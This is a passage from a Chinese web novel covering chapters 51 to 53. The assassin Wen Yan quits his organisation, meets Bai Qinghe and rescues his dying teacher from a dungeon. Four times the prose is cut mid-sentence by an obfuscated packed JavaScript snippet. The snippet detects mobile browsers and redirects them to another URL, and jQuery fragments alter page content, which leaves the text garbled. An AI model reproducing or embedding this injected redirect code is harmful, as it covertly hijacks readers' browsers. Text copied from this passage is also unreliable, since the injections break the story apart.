柏清河瞬间暴起,拽过年轻人的衣领,将他怼到了牢门上;就连李符乐都没忍住上前了半步,抬手想要摸向身后的刀柄,被韩旬制止了。 “柏二少爷,你跟我这般纠缠下去没好处的,”年轻人既不还手也不恼,嘴角甚至还含着一抹意味不明的笑意,缓缓开口道,“温言这个人,说话的时候总喜欢模糊重点,觉得哪怕是天塌了他也能顶一会儿,可这回不一样,倘若他再不回去解毒,可就要有大麻烦了……” “落下一两个缠身的毛病算是其次,若是真变成了个五感尽失的废物,你又要让他如何自处呢?” 年轻人低下头,像是认真地思索了起来。 “到那个时候,什么情啊爱啊,都不过是空谈,我猜……他应该会自行了断吧?” 柏清河抓着对方衣领的手倏地收紧,手背青筋直跳,指尖发白,两人就这么僵持了片刻,他最终还是缓缓松手放开了对方。 这个人说得对,柏清河不得不承认,如今只有温言的性命是最重要的,而他却只能挫败地承认,在这件事上,他什么忙都帮不上。 年轻人捂着脖子咳嗽了两声,看着柏清河面上的表情,兴致甚高地笑了起来:“哈……柏清河,你以为你是什么?” “抛开了这些东西,你也不过就是个只会碍路的废物。” - “阿言,阿言!” 一个小孩儿冲着还在空地上打拳的小温言招招手,示意对方快过来,有好东西要给他看。 “怎么了?”小温言有些不解地走了过去。 院里的茶桌上找不到半点茶杯,全都被放满了摆盘精致的糕点,颜色种类简直让人目不暇接,光是这么看着,就知道价格不菲。 小温言心里的那点疑惑瞬间转换成了震惊,他咽了下口水,小心翼翼地问道:“今日是什么大日子吗……我忘记了?” 那小孩儿闻言眼珠一转,笑了起来:“你习武习傻了么,今日是你的生辰啊……我特意骗长老派人去鸿鼎酒楼买的,时下新出的糕点,快尝尝!” 小温言不可置信地望着眼前满满一桌糕点,嘴巴一抿,神情又变得有些受宠若惊了起来。 “这,这太破费了,不好吧……”小温言支支吾吾地说道,往小孩儿身边挪了一步,“长老要是知道了真相,肯定会骂我的……说不定你也会挨骂……” “那又怎么样,过生辰,就是要开开心心的,别的事儿都得往后梢,”小孩儿小大人似的一拍小温言的肩膀,“你肯定还没吃过鸿鼎酒楼的糕点吧,可好吃了,难怪那么抢手……” “什么糕点?”小锦桢不知从哪儿冒了出来,伸手就要往桌上探,“怎么这么多!阁主,我也要吃!” “你先等会儿,”小孩儿眼疾手快地拍开了小锦桢的手,“等阿言拿了第一个,你才能吃。” 小锦桢眨了眨眼,脑袋转得飞快,瞬间明白了过来,冲着温言一笑:“哦!生辰快乐——你快随便拿一个,我想吃那个花瓣样的……” 哪有这样赶鸭子上架的… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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温言平躺在榻上,深呼吸一口气,这才慢悠悠地睁开了双眼……难怪他会梦到那么久远的事情,原来是这几个家伙在屋门口吵吵闹闹没个完了,真当病人是个聋着耳朵的睁眼瞎吗? 他掀开被子,赤脚踩在地板上,有意放轻了脚步声,朝门口走去。 “这位药到病除的神医小姐,别吵了,我耳朵又要痛起来了,”直到温言一手撑在门框上敲了敲,两位大呼小叫的人才注意到了这边不知何时窜出来的人影,均被吓了一跳,“老烟鬼你也是,分不清大小王了吗,小心你明日喝口水都得上吐下泻。” “我看你倒是精神得很,那我就放心了。”锦桢看似大度地没去计较温言的称呼问题,摆了摆手,“滚回你的榻上好好休息吧,病秧子。” “谁允许你光脚出来的!”林芷这边显然粗暴且强硬很多,拽着温言的衣领子就将人往里头带,“老娘好不容易才把你全须全尾地从鬼门关里捞了回来,识相点,回榻上去,别逼我骂你。” 锦桢看热闹不嫌事大,倚在门边吹了声口哨:“看来某人也分不清大小王了。” “……有什么要紧事儿你喊一声不就完了,还非得下榻来,一不小心寒气入体,到时候八条命都不够你折腾的。” 林芷说着话,将温言推搡着重新裹回了被罩里。 温言费力抵抗,成功探出了脑袋说道:“要紧事儿还真有一件,想着得提前给你们知会一声。” 在座两位眼下大概都不觉得他能憋出什么好话来,皆是一副“有屁快放”的样儿。 于是一颗平地惊雷就这么不声不响地被放了出来。 “我想请辞。” 51.请辞 “请辞?”锦桢率先反应了过来,皱着眉摸上温言的额头,“这也没发烧啊,好端端的怎么突然疯了?” 林芷也有些担忧地看着温言,好像在思索自己是不是真的不小心把药量下猛了,把人给药坏了:“温言,请辞这事可不是儿戏,你原来也见过不少,知道他们的下场的。” “这回确实是阁主做得不对,让你在地牢里被关了这些时日,落了好多伤,”林芷抓着温言的手臂,把着脉道,“外伤内损加在一起,总归是不容小觑的,你这个决定做得太过草率了。” 她对着面前这位刚刚转醒,身体虚弱得不像话的病人,说话到底还是留了点情面。 其实将这话剖开来听,她想给的警告也不过就是四个大字——必死无疑。 “我想请辞,倒也不完全是这个原因,”温言自然听明白了林芷的话中之意,苦笑一下道,“有些事等得起,有些事却不然。” 林芷不解:“你年岁还长着,有什么……” 她平常私下与他们来往的到底还是少些,并不知晓温言与老先生的关系,也不知晓地牢内到底发生了什么具体事宜,但她不清楚,却不代表锦桢这个情报百晓生也一样不清楚。 锦桢深深望了温言一眼,出言拦住了林芷还要接着劝阻的话:“诶,林芷你有所不知,就这么短短几日,地牢的事儿也算是闹了个满城风雨了,其间门道多着呢,咱们这孤陋寡闻的就别插这个嘴了。” “死烟鬼你说话就说话,再敢呛我一句试试,小心你明天就被我毒成哑巴。” 林芷敏锐地察觉到这话里的“孤陋寡闻”是在骂她呢,毫不客气地冲着锦桢飞去一个眼刀。 锦桢倒是识时务,立马举双手告饶,三言两语间捡尽精华,算是将整个事情的前因后果给对方讲了个分明。 待林芷听完后,三人罕见地相顾无言,沉默了半晌。 最终,还是林芷率先表态,摇了摇头:“我当真不知,原来你和那学堂老先生还有这份渊源……但即便如此,我还是不同意这件事。” “温言,说句不好听的,如果锦桢的描述没有夸大其词的话,这位老先生已经是无力回天之势了,我们尚且不论有没有方法能将人直接从牢里带出来,只说这带出来之后,就算是我,也大概是救不回来的。” 林芷其实比他们大不了两岁,这么讲道理的时候却是颇有些长者风范。 无力回天。 这四个字震得温言心头一颤,放在被罩上的手瞬间缩紧。 他深呼吸几秒,随后却缓缓吐出了口气,像是对这个判断并不十分意外。 “他说的都是真的,”温言只觉得喉间像是被人塞了坨棉花,堵着他的一字一句,先前装出来的轻描淡写全都消失得无影无踪,“你说的我……知道,所以这件事就更迫在眉睫了。” “老先生时日无多,这么多年过去,我从来没能给他老人家孝敬什么好东西,人到暮年,竟然还因为我被卷入这种纷争……我,我总得回去,赶回去送他老人家最后一程,”温言逼着自己露出了一个比哭还难看的笑,“也算是最后……再尽点微薄的孝意,对吧?” 此言一出,四下又是一片沉默。 “罢了,罢了罢了,我知道,在这件事上我们都劝不动你,”锦桢拍着手,又狠狠搓了两下,这才缓解了自己想掏出烟枪来的动作,“那就这样吧,我听你的。” 温言仰头看向锦桢,总算是眉眼微弯:“……谢了。” “真够见外的,”锦桢翻了个白眼,伸手亲昵地搭上了温言的肩膀,凑到对方耳边小声说道,“到时候无论有什么需要,随时找我。” “……得了你俩,一个两个的都给我上眼药,显得我像个坏人似的,”林芷有些无语地冲着两人的脑袋分别来了一下,“我算是明白了,平常闷声不响的倔脾气最大,那我也不劝你了。” “你现在服过了解药,五感衰退的症状应当已经有所减轻,再过一两天就能彻底恢复了,”林芷伸手点了点温言的胸口,继续说道,“唯一需要提醒你的是,无论到时候出现什么状况,你都不能发力过猛,以防在毒药还没被彻底压制时再次被催动蔓延。” “好,这件事上,我肯定听神医你的。”温言冲着林芷也笑了一下。 林芷半点没被这好话冲昏头脑,撇过下巴道:“你最好是。” “说到这个,林芷你手里还有没有多的……解药,给点嘛,送温言当保命符用用,”锦桢说话间特意压低了“解药”两字的声音,手指一搓,跟个无赖似的,“省得这家伙一个月之后求药无门,又得整出些幺蛾子。” 这话说得轻佻,大概也是想缓解下屋内沉重的氛围,却没想到,林芷很坚定地摇了摇头。 “你说的我自然也想到了,但不是不给,而是没有,”林芷叹了口气,“这毒药和解药来得都相当蹊跷,我当年也不过是跟着我的母亲学了这么点皮毛医术……” “这解药的药材种类和采集方位,全都被阁主牢牢掌握在手中,有几味药材,我在医书上甚至都没有见过……这数年间,我也不是没有对此进行过尝试,却全都以失败告终了……况且,我每回给你们吃的解药都是汤药好不好,又不是话本子里那种一颗颗的丹药,你们怎么可能带得走。” ……这倒也是。 只不过锦桢和温言都没想过,这解药当中还有如此门道。 还真是有些麻烦了。 锦桢不由得想道,可他转头望向温言,却见对方看似呆呆地坐在床榻上,实际已经魂游天外了。 说起林芷的母亲,温言对这位温柔的女性还真是有不少的印象。 或者说,他命中生来所缺少的“母亲”这一位置形象,就是被这个女人给补足的。 想也知道,温言他们被下毒药的年纪皆不过十岁,林芷就算是一代神童,也不可能神通广大、博览群书到这种程度,能熬出一记药效如此经年持久的毒药来——当然,小温言他们年少时每隔一段时间就会被按头灌一碗,按量来算,也确实该毒入五脏六腑、无药可救了。 温言从小就不爱喝这种苦东西,每回皱着眉头撅起小嘴,林芷的母亲就会摸摸他的脑袋,变戏法似的从背后摸出一块山楂放到桌上,好声跟他打着商量,说这是好孩子乖乖喝汤后才能得到的奖励。 同时,好在这位阁主是个讲究“可持续性发展”的人,在三五年过后,喂入他们体内的毒药量攒够了,林芷也年莫十五六,正好能接上班了,可以用来“更新换代”,开始按月按量给他们灌解药,来压制体内的毒性。 ……从而也能确保手底下这些人为了活命,全都不得不对他表忠心,绝对会为他所用。 简直是毫无纰漏的算盘。 温言又陪着林芷他们聊了两句,好不容易将人给哄走了,换了身衣服,就准备往年轻人的书房走去。 在这种打定了主意的事情上,他向来雷厉风行。 侍女站在屋外轻敲两下,随后推开了屋门;年轻人正坐在书桌后写着什么,抬头看了眼走进门来的温言,似乎对此并不感到意外。 “坐。”年轻人抬手比了下面前的椅子,“怎么来得这么快,最近也没什么大事了,不再多休息会儿?” 温言此刻面对着年轻人,真是无论如何勉强都笑不出来了。 “阁主,”温言一撩衣服下摆,单膝跪在了地上——他已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13292336|134959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经很久没有行过这么标准的礼数了,“我要请辞。” 年轻人落笔的手一顿,面有不解地望向温言,像是实在不明白这话该从何说起似的,颇有些苦口婆心地劝慰道:“阿言,我可以问问理由么……毕竟再想培养一个像阿言你这样趁手的刀属实不易,倘若只是因为这次将你关在地牢里的事,我之后会给你一个合理的解释,也会让林芷竭尽全力……” “阁主,我意已决,事到如今不如将话摊开了讲,”温言抬起头,目光灼灼,打断了对方,“老先生……被关在地牢里的事,也是你一手策划的吧。” 他从来没有用这种顶撞的态度面对过年轻人。 年轻人被抢了白,再装下去也没什么意思,索性向后靠上了椅背,以一种居高临下地态度道:“是,是我做的。阿言,为了一个籍籍无名的老头来这样跟我叫板,可不划算啊。” 划算? 人命这种东西,怎么算都不该用这种轻描淡写的字眼,就这么一笔带过。 “温言,每回你只要帮我做成了事,杀完了人,我都会给你奖励……”年轻人面上一哂,“金钱、珠宝、山珍海味、甚至是地位,这所有的东西,只要是我能给的,全都有你的份。” “我不明白,温言,是我这些年对你还不够好吗?” 诚然,虽然温言从来没有主动开口讨要过什么,可数不胜数的财富和组织里趋之若鹜的地位,确实全都经过年轻人的手,涌到了他的身边。 可他哪怕再像一把刀,也只是一个人。 一个有血有肉,心里摆了一杆秤的人。 自从进了组织之后,他吃过的苦是真的,可跟当街流浪吃不起饭比,也实在不过尔尔——至少他的命保住了;再之后,年轻人三天两头来找他闲谈,年复一年地给他准备“奖励”和生辰惊喜,他也全都看在眼里,记在心里。 所以他愿意去当年轻人手下最利的刀,被呼来唤去近十年,也毫无怨言。 可再往前呢? 柏清河施舍的那串糖葫芦让他在烈日炎炎下的犄角旮旯里捡回了一条小命,所以他心甘情愿地一次次主动后退自己的底线,哪怕是抱着被年轻人发现后会被惩罚的风险,也要去满足对方那一个又一个的小要求。 再往前呢? 老先生见他为了躲避那包子铺老板的扫把,总是往返于学堂围墙下,饿得瘦骨嶙峋,到底是于心不忍,从饭包里摸出了自己早起买来的午饭——一块已经被放凉了的馒头——掰了半块,伸手探出窗去,递到了温言手里。 小温言抬头对上了老先生的视线,对方笑得和蔼,对他道,吃呀孩子,下次要是再没饭吃了,就来这扇窗下,我身子骨老了吃不了那么多,剩下的半块会给你留着的。 “你想请辞,可以,我同意了,但是温言,你还记得自己杀过多少人吗?” 年轻人一句话将温言从回忆中拉了出来。 “不记得了吧,那应当也不记得自己结过多少仇家了,”年轻人抬起手,比了个“请”的手势,“你说要把话摊开来讲,我也可以告诉你,只要你等下走出了这扇门,你叛逃组织的消息就会被暗中扩散到皇城的各个角落,到时候自然什么蛇虫鼠蚁都会愿意来掺上一脚。” 温言仿若未闻,神色不变,从地上站起身,拍了两下衣摆的浮灰,一句话也懒得多说,头也不回地抬脚就往门外走去。 年轻人确实如他所说,没有再出言、或是动手拦他。 秋日天气转凉,阳光也远不像在七八月的盛夏那般刺眼,透过树影,就这么斑驳地照在了温言扬起的脸上。 却无端照得他眼眶发热,只好又重新低下头,脚步匆匆地走远了。 52.相见 “娘,你在看什么?” 小林芷放下了手中的书,好奇地凑到窗边,朝着同一个方向往外望去。 “哦,锦桢那家伙又在胡闹。”小林芷扫了院子里正在打闹的几个孩子一眼,撅着嘴说道,“娘,他们有什么好看的,比我还好看?” 女人转过身,笑着摸了摸小林芷的头:“那怎么好比呢,我家小芷当然是最好看的。” “我就说嘛,”小林芷头一扬,又朝窗外瞥了一眼,“他们那群人……尤其是锦桢,整日里皮得跟那山里跑出来的猴子一样,吵死人了。” 女人被这形容逗乐了,刮了下小林芷的鼻尖:“你啊,想让他们带你玩就直说,整日闷在屋里看书有什么意思。” “才不是呢,”小林芷眉头一皱,立马出言反驳道,“我要快点把书都看完,这样就能像娘亲一样治病救人了,嗯……等有了名气,我还要去当话本里写的那种悬壶济世的神医,到时候看锦桢还敢不敢揪我辫子。” “都要当神医了,怎么还惦记着他揪你辫子这事儿,听娘的,你下次趁他睡着去给他画个大花脸,你俩就算是扯平了,”女人将小林芷揽到自己怀里,语调轻快,面色却有些凝重,说不出的矛盾。 “那太幼稚了,我才不要。”小林芷撇撇嘴道。 “是么,那看来是我们小芷长大了,”女人慈爱地摸着小林芷的手,“不过啊,小芷,他们都是些可怜孩子,等你未来接了我的位置,有本事了,一定要想办法救救他们。” “娘……” 这没头没脑的半句话引得小林芷抬起头,面前的场景却像被拧成了一团的麻花,逐渐变得扭曲起来。 “娘!” “娘这一生,救过人,也害过不少人……归根结底,都怪娘太软弱了,”女人抚摸着小林芷的脸颊,“小芷可千万别学娘,要勇敢一点……记住,这些可怜孩子……你的朋友们,都等着你呢。” 等着我? 等着我做什么? 小时候的林芷始终没能想出这个问题的答案,却也没有再问;直到多年后的今日,她深呼吸一口气,心中已然对此有了定夺。 “神医小姐的心可真够大的,这种时候还能睡得着?” 锦桢正蹑手蹑脚地往屋里走,见林芷醒了,手一摆,又变回了平时那大摇大摆的走路姿势。 林芷扶着脑袋坐起身,趴在桌上的这一觉睡得她头重脚轻,连带着脖子都酸了:“温言走了?” “走了,挺顺利的,”锦桢熟门熟路地给自己倒了杯茶,“嗯……冷的,你怎么看起来一点都不意外?” “有什么好意外的,你们常年在外,不清楚组织里的人手短缺和受伤折损问题,若是再为这种‘内讧’损兵折将,百害而无一利,实在短见,阁主自然不会选择去拦温言,”林芷示意锦桢给自己也倒一杯,不紧不慢地说道,“更何况这里是皇城,虎视眈眈的人数不胜数,往后哪怕真要再做点什么,也用不着他亲自去花费人手。” “说得也是,”锦桢点了点头,“那你之前出言阻拦他离开,其实是怕这消息一旦漏出去了,别的组织会下黑手?” “下黑手自然是怕的,可这事儿拦不住,提个醒也就罢了,”林芷笑了一下,“之前总想着隔墙有耳,没敢跟你说,但不妨碍……我送了温言一份大礼。” “什么大礼?” 锦桢看着林芷手沾茶水,在桌面上寥寥几笔画了幅图,瞬间恍然大悟。 “林芷,这种好东西,你干嘛不顺手也给我一份,”锦桢顿时来了兴致,“有我帮忙的话,肯定能事半功倍。” 林芷随手一抹,桌上的画瞬间被毁于无形。 她轻笑一声:“得了吧,你能帮上什么忙?倘若真要让你去找的话,肯定避不过组织里的人手……万一到时候动静闹得太大,阁主怪脾气一上来,说不准不舍得杀温言,可不代表他也会不舍得杀你。” 锦桢有些不解:“……不舍得?什么意思?” “之前就说你不聪明,你还偏不信,”林芷眉头一挑,心情颇好地嘲讽了一句,“你知道为什么当初是温言被选出来当影子吗?” “我来得比温言晚,这种‘秘辛’,当然没有神医姐姐你知道的多。”锦桢还真不愧是个能屈能伸的,变脸如翻书,谄媚得可见一斑。 林芷如愿以偿地被捧了一手,也就没再故意卖关子:“温言会被选中,不仅因为他是当年那群孩子中杀到最后活下来的,同时也因为……温言和阁主自己太像了,这种像指的并不是容貌,而是一种气质……” “他每日、每月、每年培养着温言一步步成长起来,就像是看着一面扭曲的、没被打磨好的镜子……或者说,是映出他的另一种可能性的镜子。” 所以阁主虽平日里时常对温言宽容以待,却又总会在关键时刻选择以最重、最痛的方式,毫不留情地剜他一刀。 锦桢自然也明白了林芷话外的意思,忍不住摇着头啧了两声。 - 柏清河正窝在屋里,对着窗外放空,柏夫人第无数次探头探脑地从前院溜达而过,招来了同样正在树上打坐休息的望尘。 “望尘,你来,”柏夫人动了动手指,悄声道,“自那日回来起,他就这么闷闷不乐地把自己关在屋内,是出什么事儿了吗?” “哦,这个事儿吧,我问过少爷了……他只说是自己输了,还有些事儿想不明白,应该等想明白了就好了。”望尘乖乖地凑到柏夫人耳边,也跟着压低了声音,悄声答了。 柏夫人闻言点了点头,随即又皱着眉思索了起来:“嘶……能让他输得这么郁闷的……莫不是打架打输了?还有这‘想不明白’……莫非是想不明白对方的师承?真是奇了怪了,这皇城里何时出了这等人才,我怎么从未听说过……” “谁知道呢,我之前还拿着这事儿去问过望洋,结果他骂我蠢,说我跟着少爷这么久了竟然还看不出来症结所在,简直是蠢得没救了,”望尘撅着嘴控诉道,“所以我猜,说不定也不是什么打架打输了,也有可能是为情所困……毕竟望洋也就这方面比我聪明那么一点点。” 望尘说着,双指一捏,比了个手势,将柏夫人逗笑了。 “你们俩啊,成日里惯会拌嘴,”柏夫人伸手点了下望尘的脑门,“这方面都不过是白纸一张,还说教起来了……诶,你瞧,他怎么突然站起来了?” 柏清河所坐的位置,本就背对着敞开的屋门,一举一动都会被正在外面嘀咕的两人尽收眼底——只是他已经这么一动不动地坐了好久,突然窜起身,才猛然间给柏夫人吓了一跳。 窗外树影层叠,落叶翻飞,温言的身影混入其间,就跟那振翅的鸟儿似的,飘飘然跃入院中。 于是柏清河半分停顿也无,直接跳窗跑了过去。 “呀,动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13318294|134959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作这么快,干嘛呀这是?” 柏夫人拉着望尘,两人看热闹不嫌事大,还得防着柏清河一个回头给逮个正着,只好猫在门后的角落里,探着头瞧个大概。 柏清河自然顾不上这后面的小尾巴,还没等到温言落稳,就先将人抱了个满怀。 “……急什么?”温言有些好笑地拍了拍柏清河的后背,“我说了我从不骗你,会来找你的。” 柏清河将脑袋靠在温言肩上,左蹭右蹭,像是想借着这个机会给自己也腌入味儿似的。 “别闻了,都是股药味儿,”温言伸手想扒拉开对方的脑袋,没推动,“后面有人看着呢,别丢人。” 柏清河这才脑袋一僵,却还是执拗地没松手:“……你能听见了?” “诶哟,这就抱上了,看来是不准备藏了啊,”柏夫人啧了两声,“年轻就是好……诶这小伙子长得挺不错啊,望尘,你知不知道这是谁家孩子,别是柏清河这二愣货给高攀了。” 望尘一脸欲言又止的表情。 看着柏夫人这一副乐在其中的样子,他实在是不敢出言告诉对方,就少爷和那位温公子的实力,他们在这里说什么都能被一字不漏地给听过去。 “……哎呀,不知道也没事儿,”柏夫人乐呵呵地又看了一眼,“这皇城也没几家是我们娶不起的,实在不行就补点嫁妆给嫁了,也省事儿。” 将门后动静听得一清二楚的温言忍不住笑了,垂手勾了勾柏清河好不容易松开的小拇指:“柏二少爷,你在家看起来可不怎么受待见啊。” “是啊,爹不疼娘不爱,想娶的夫人之前也甩下我跑了,我这命可忒苦了,”柏清河也反手勾住了温言的手指,“真是不知道该怎么办才好,只能好好捯饬一下,收拾着准备倒贴去嫁咯。” 温言知道柏清河这话是在扯淡,还是顺了对方这股戏瘾:“好啊,那柏二少爷准备带什么嫁妆过门?” “嫁妆嘛,筹备起来慢得很,我可以先送份见面礼给温公子,若是温公子满意了,我们再谈后面的事儿。” 柏清河冲着温言眨了眨眼,说完话后,又无声地做了几个口型。 温言瞬间愣住,面上的笑容瞬间少了大半:“几日不见,柏二少爷也是精通人性了,真是令人感慨。” “我也是思来想去了许久,到底有什么事是我、且只有我才能做到的,值得你在地牢里特意跟我说‘会来找我’,”柏清河没搭那句讥诮,摩挲着温言的掌心,“看来是我猜对了。” 老先生如今仍被困在地牢深处,温言不管是出于什么目的,都必然会再走一趟“回头路”,而能仗着面子,勉强将人顺利带入地牢的人,除开那些皇家子弟,就只有柏清河一个。 “放心,温相公所托,夫人自然是无所不应,”柏清河正经不过半秒,又没了人形,“只是温相公若未来能只是为了夫人前来……” 温言被柏清河这一口一个“温相公”和“夫人”叫得耳热,又觉得这场景实在是滑稽好笑,只得出言打断道:“谁说我不是来看夫……你的?” 他说着,另一只手从袖袋中捞出了什么,示意柏清河摊开手接好了。 “在地牢里学着编的,第一次编,手法不熟。”温言说完,有些别扭地偏开了头。 柏清河则是盯着自己的掌心,神色怔愣。 那是一枚歪歪扭扭,边缘毛刺还向外戳着的黄褐色指环。 53.离去 柏清河将那枚指环慎之又慎地放入了盒中,关好抽屉,这才回头看向撑着脑袋往这边瞧的温言,问道。 “你准备就这么空手去?” 温言很自然地双手一摊,抬了下下巴:“嗯,林芷说我现在不宜动武,万一真遇上了需要动手才能解决的事儿,得你来。” 柏清河顿时嘶了一声:“听起来……我这是又得当向导又得当打手,这买卖着实很亏啊温公子,还没过门呢,就开始压榨了?” “是么,那柏二少爷你想怎么办呢?”温言一挑眉,“我给你加工钱?” “哎,什么钱不钱的,忒俗了。” 柏清河说着,左眼眯起来一眨,心里那点小九九几乎就被摆在明面上了。 温言哪还有什么不懂的,立马勾了勾手指,示意对方凑过来些;随即一把拽过柏清河的衣领,仰起头……他本想就这么接个蜻蜓点水的吻便算完,柏清河的反应却更快他一步,竟然硬是按着他的后脑,撬开了唇齿,将这吻延长了几十秒才把人松开。 温言曲起手指擦了下唇角被咬出的血,顺手拍了把柏清河的脑袋:“好了,快去找把趁手的武器带着。” “得嘞。” 柏清河成功讨得了甜头,意犹未尽地舔了舔嘴唇,面上都笑开了,自然是说什么应什么。 温言瞧着对方的背影透出的那股嘚瑟劲儿,忍不住在心里笑骂了一句。 真是……就这点出息。 “成了,就这把。” 柏清河屋中有些凌乱,他一连翻开了好几个堆在墙角的柜子,这才从中挑出了一把看上去几乎崭新的短刀——温言实在是有些想不通,这玩意儿为什么会跟一堆被砍豁了口的破铜烂铁丢在一起。 而等温言再仔细地打眼一瞧,更是不由得有些惊讶了起来。 这短刀刀柄上的花纹虽然简约,却不难从中看出,与他那把匕首上的花纹是一致的! “好看吧,这可是我后来特意找师父打的,”柏清河献宝似的嘿嘿一笑,将短刀拿在手中舞了两圈,进行了个全方位展示,“就为了这把刀,我师父好险没把我打一顿……幸好他老人家不指着我传宗接代,不然我肯定是逃不了要挨顿揍。” 这话里的意思是……柏清河他师父,已经知道他俩的关系了? 温言无端记起了老师傅那慈眉善目的面容,不禁有些头疼又无奈地想着,还真是不知道若是下次再见到他老人家,自己到底该做何表情才好。 - “副巡检使好。” 巡检司内负责今日夜间轮班的几人正准备在李符乐那儿点完卯,跟站在外面的众人换班。 “嗯。” 李符乐不咸不淡地搭了腔,继续擦拭着手中的长剑,没再多说一个字。 他们这些常年当差的个个都是人精,察言观色的“鼻子”比那街边的狗还要灵敏三分,自然敏锐地察觉到了他们这位副巡检使的心情不太妙,立马跟排排坐的小鸡仔似的,安分守己地排好了队,一直到点完了卯,大气都没敢喘,就想踮着脚往屋外溜。 “等一下。” 李符乐的声音此刻就像某种催命的符咒,他一发话,所有人更是动都不敢再动一下,直愣愣地停住了脚步。 而与之相对的是,巡检司门外正好踱步走进来两个人,后面那位落后了前面人半步,腰间挂着柄短刀,双手抱胸,冲屋内望来的李符乐挑着眉笑了下。 “所有人,低头。”李符乐放下了手中正在擦拭的长剑,朝着屋外喊了一嗓子。 这下,原本还在院内当值的巡检司众人顿时全都低下了脑袋,眼观鼻鼻观心,宁可去数脚边的杂草到底有多少根,都得装作看不见这明目张胆走进来的两个人——记性好的还能认出来,除开柏二少爷的另一位,好像正是刚被放走的死刑犯预备役。 于是心中不免都升腾起了一个疑问:他回来干嘛? 可惜没人会去解答他们的困惑。 温言一路目不斜视地走向了地牢,直到站在入口处,才回头与柏清河交换了一个眼神。 柏清河瞬间会意,背过身一屁股坐在了入口处的石墩上,没什么形象地冲着李符乐招了招手。 “行了,你们各自换班去吧。”李符乐随口遣散了众人,将长剑收入剑鞘,背在身后,往柏清河那边走去,“你不进去?” “人家准备去说些师生间的体己话,我干嘛要进去煞风景,”柏清河拍了拍身下的石墩子,“之前还真没注意到,你们这玩意儿修得挺好,专门给当值的偷懒用的?” “你以为谁都像你似的?”李符乐冲他翻了个白眼,一时摸不准这人前半句话到底是借口还是确有其事,只好又问道,“那你就坐在这里等?” “是啊,要是真碰着了这时候不长眼来捣乱的,还能稍微活动下筋骨,”柏清河颇为神秘地卖了个关子,“到时候副巡检使若是想要凑热闹观战自然欢迎,不过得记得让这群喽啰们自己找地方躲好了,避免伤及无辜嘛。” 柏清河语焉不详,只是揭了个话头,本想留给这对面人多问两句的机会,李符乐却显然没有他那喜欢刨根问底的“陋习”,也懒得惯他这臭毛病,于是扯了下嘴角,衣袍一摆,有样学样地坐在了右边的另一个石墩上,没再跟这爱故弄玄虚的家伙搭腔。 地牢内的空气仍旧泛着股令人作呕的潮湿味,油灯闪烁,昏暗的光线掩去了温言的脚步,直到他走到牢房近前,老先生才总算是听着了些动静,抬眼望向他的方向。 温言本来还憋着口气提防着周围,一见到老先生,这口气瞬间就散了。他脚下踉跄了一步,抬手抓上牢门,用力一推,这门竟然就这么轻而易举地向后敞开了! “孩子诶……”老先生身上还是先前那件沾满了血污的破衣衫,低头看着跪扑到自己身前的温言,“老朽烂命一条,命不久矣,你为何执意要回来啊……” “先生休要胡说,”温言来之前便早有准备,从袖袋中捞出了一根细长的铁丝,手脚麻利地捣鼓着拴住老先生手脚的铁链,“我来,自然是来带先生出去的。” “咳咳……你糊涂啊。” 老先生的嗓音嘶哑异常,比温言离开那日听到的还要有过之而无不及,说不了几个字,便难受得要咳上几咳才能缓解,只怕若是再不能出去寻医,这嗓子就要彻底废了。 “先生,我不糊涂,”温言跪着拆完了底下的,这才站起身,将铁丝塞进了老先生手腕处的锁扣,“是我害先生落得如此境地,我自然该将先生带出去。” “选择皆我自身所做,如何称得上‘害‘字,”老先生身上的四处锁扣已被成功解了三个,半边身子都无力地倒在了温言身上,“只是我先前竟不知你这些年过得如此不顺遂,还妄言夸你生活向好……温言,好孩子,你一定活得很辛苦吧。” 温言鼻腔一酸,眼眶也跟着泛起了涩意,摇了摇头,却说不出一个反驳的字。 最后一个锁扣在咔哒声中被解开,铁链撞在墙上,温言一秒都没敢耽搁,立马蹲下身,将老先生背在了背上。 “温言,小温言……长大咯,”老先生趴伏在温言背上,低声呢喃道,“先生老了,早就护不住你了,没用咯……” 温言虽然被林芷一碗又一碗的汤药顺利稳住了内伤,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368241|134959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外伤到底还没好完全,背上背着个人爬阶梯,难免没法像曾经那般轻松;他双手托着老先生的腿,将人往上抬了抬,咬着牙往前走,脑中却无端想起了曾经。 